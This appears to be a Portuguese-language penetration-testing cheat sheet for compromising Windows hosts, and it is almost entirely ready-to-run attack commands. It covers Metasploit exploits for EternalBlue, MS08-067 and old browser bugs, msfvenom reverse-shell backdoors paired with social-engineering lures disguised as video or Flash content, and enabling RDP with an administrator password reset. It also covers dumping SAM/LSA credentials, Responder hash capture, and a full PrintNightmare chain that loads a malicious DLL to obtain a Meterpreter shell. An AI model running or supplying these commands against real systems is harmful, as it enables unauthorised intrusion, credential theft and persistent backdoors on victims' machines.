# Windows

### Metasploit

#### Atacando Windows 7 (Eternal Blue)

Procurando por alvos na rede

```
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
set threads 100
run
```

Explorando a falha

```
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <ip_alvo>
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <ip_atacante>
exploit
```

#### Atacando Windows 7 (Vírus)

O `Msfvenom` é utilizado nas novas versões do Metasploit, substituindo o `msfpayload / msfencode`.

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> x > /tmp/backdoor.exe
# ou
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> -a x86 -f exe -o /root/payload.exe
```

Faça com que o alvo execute o arquivo .exe:

Entre no modo listener:

```bash
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ip_atacante>
exploit
```

Se até aqui tiver sido efetuado com êxito, irá ser aberto o `meterperter`.

#### Atacando Windows 7 pelo Internet Explorer

```
use exploit/windows/browser/ms11_003_ie_css_import
set payload windows/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set SRVHOST <ip_atacante>
set URIPATH videos
exploit
```

Agora faça com que o alvo abra `http://<ip_atacante>:8080/videos` pelo Internet Explorer.

#### Atacando Windows 7 com JAVA

O JAVA tem de estar numa versão um pouco mais antiga para que funcione

```bash
msfconsole
use exploit/multi/browser/java_signed_applet # "Multi" e "Browser" significam que são multiplataforma
set payload windows/meterpreter/reverse_tcp
set appletname XVIDEOS # Nome do Applet, pode ser qualquer nome
set certcn Adobe_Flash_Player # Nome do Applet em versões mais antigas pra quem assinou
set srvhost {ip_atacante} # Define o IP do servidor
set srvport 80 # Define a porta do servidor
set uripath videos # Em qual pasta vai ficar armazenado. Nesse caso será <servidor>/videos
set LHOST <ip>
set lport 443
exploit
```

Agora faça com que o alvo acesse a URL e aceite o java para que o meterpreter tenha sucesso

#### Atacando Windows XP

Certifique-se antes de que a porta 445 do alvo esteja aberta

```bash
# Abre o Metasploit  
msfconsole  
# Selecionando o exploit  
use windows/smb/ms08_067_netapi  
# Selecionando o payload  
set payload windows/meterpreter/reverse_tcp
# Define o host remoto IP do alvo)    
set RHOST <ip_alvo> 
# Define o local host meu IP)   
set LHOST <ip_atacante>
# Comando para ver o que já foi inserido e o que falta  
show options
# Executa tudo o que foi configurado  
exploit
```

Se até aqui iver sido efetuado com êxito, irá ser aberto o meterperter

#### Ataque Via Browser

```bash
msfconsole
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
set payload windows/meterpreter/reverse_tcp
set SRVHOST <ip_hacker>
set LHOST <ip_hacker>
exploit
```

Agora faça o alvo acessar pelo navegador: http\://\
**OBS.:** Certifique-se que seu IP não esteja já utilizando a porta 80

#### Ativando RDP

Depois de conseguir acesso via Meterpreter, jogue a sessão em backgrund (`CTRL` + `Z`) e então execute o seguinte post:

```
use post/windows/manage/enable_rdp
set SESSION <number_session>
exploit
```

Depois de ativar o RDP, podemos acessá-lo normalmente. Caso não saiba a senha do Administrador, podemos alterá-la ou até mesmo criar um usuário.

```
session -i <number_session>
shell
net user administrator novasenha_123
```

#### &#x20;HTA Server (necessário ter RCE)

```bash
# Atacante
msfconsole -q
use exploit/windows/misc/hta_server
exploit
# Copie a URL gerada

# Alvo
mshta.exe <url_gerada>

# Atacante
session -i <number_session>
```

### Enum4Linux

Esse tipo de enumaração pode ser grande e poluída a sua leitura, então foque "principalmente" nos itens `output similar to nmblookup`, `check for null session`, `listing of shares`, `domain info`, `password policy` e `RID cycling output`.

```bash
# -a = Todas as enumerações
enum4linux -a <ip_alvo>
```

Caso queira filtrar por determinadas informações, podemos utilizar alguns recursos do enum4linux.

```bash
# Somente usuários
enum4linux -U <ip>

# Somente compartilhamento
enum4linux -S <ip>
```

### Pegando Senhas Locais Via LSA

Depois de acessar o Windows como Administrador, execute o comando `lsadump2`.

###

### Pegando Senhas em Texto Limpo (NTLM)

```bash
wce32.exe -w
```

###

### Pegando Registros Manualmente

```bash
C:\> reg.exe save hklm\sam c:\windows\temp\sam.save
C:\> reg.exe save hklm\security c:\windows\temp\security.save
C:\> reg.exe save hklm\system c:\windows\temp\system.save
```

Isso também pode ser feito com `secretsdump.py` ou `pwdump`

### Responder

Quando um sistema em uma rede faz uma pesquisa de nome de host DNS que falha,  o sistema utiliza Link-Local Multicast Name Resolution (LLMNR) e o Net-BIOS para resolução de nomes substitutos. Quando o host da vítima falha na pesquisa de DNS, esse host começa a perguntar para qualquer host da rede se eles sabem a resolução para esse nome de host que ele está procurando.

Isso pode acontecer, por exemplo, quando o Windows tem uma unidade de rede mapeada e então esse host deixa de existir ou trocou de IP/hostname.

Antes de iniciar o responder, abra o arquivo `/etc/responder/Responder.conf` e edite o parâmetro `RespondTo`, filtrando somente pelos IPs (separados por vírgula) que deseja realmente atacar.

```
python Responder.py -I <interface> -wrf
reponder -I <interface> -Prv
```

Caso pegue um hash do tipo `NetNTLMv2`, utilize `hashcat` com a opção `-m 5600`.

### PrintNightmare

Execute o comando abaixo e verifique se as duas condições no grep estão de acordo.

```bash
/usr/bin/impacket-rpcdump @<host> | egrep 'MS-RPRN|MS-PAR'
```

Caso seja positivo, precisamos baixar o repositório da CVE.

```bash
git clone https://github.com/cube0x0/CVE-2021-1675.git
cd CVE-2021-1675
```

&#x20;Agora, vamos instalar (caso ainda não tenha) o `virtualenv` e executar os devidos comandos:

```
sudo apt install virtualenv

virtualenv --python=python3 impacket
source impacket/bin/activate
```

Com isso, estaremos dentro do ambiente virtual, então podemos executar a instalação.

```bash
pip3 install .
pip2 install .
```

Agora precisamos gerar nos DLL maliciosa e para isso podemos utilizar o msfvenom.

```bash
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip_atancante> LPORT=1235 -f dll > shell.dll
```

Deixando o Metasploit no modo listener.

```
sudo msfconsole -q
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost <ip>
set lport 1235
exploit
```

Com o nosso ambiente já preparado para disparar o ataque e receber a reverse shell, vamos preciso subir um servidor SMB para que o host alvo possa acessar nossa DLL gerada com o msfvenom.

```
smbserver.py mysther . -smb2support
```

E por último, realizando o ataque de fato para obter a reverse shell no Meterpreter.

```
python3 CVE-2021-1675.py <domain>/<user>:'<pass>'@<hostname_alvo> '\\<ip_atacante>\mysther\shell.dll'
```

#### Sites

```bash
# Diversos comandos para ataque Windows, estilo GTFOBins
https://wadcoms.github.io/
https://arttoolkit.github.io

# Ferramentas para ataques contra Windows
https://lolbas-project.github.io/

# Responder
https://github.com/lgandx/Responder-Windows

# Pegando Credenciais
https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/

# PrintNightmare
https://github.com/cube0x0/CVE-2021-1675
```
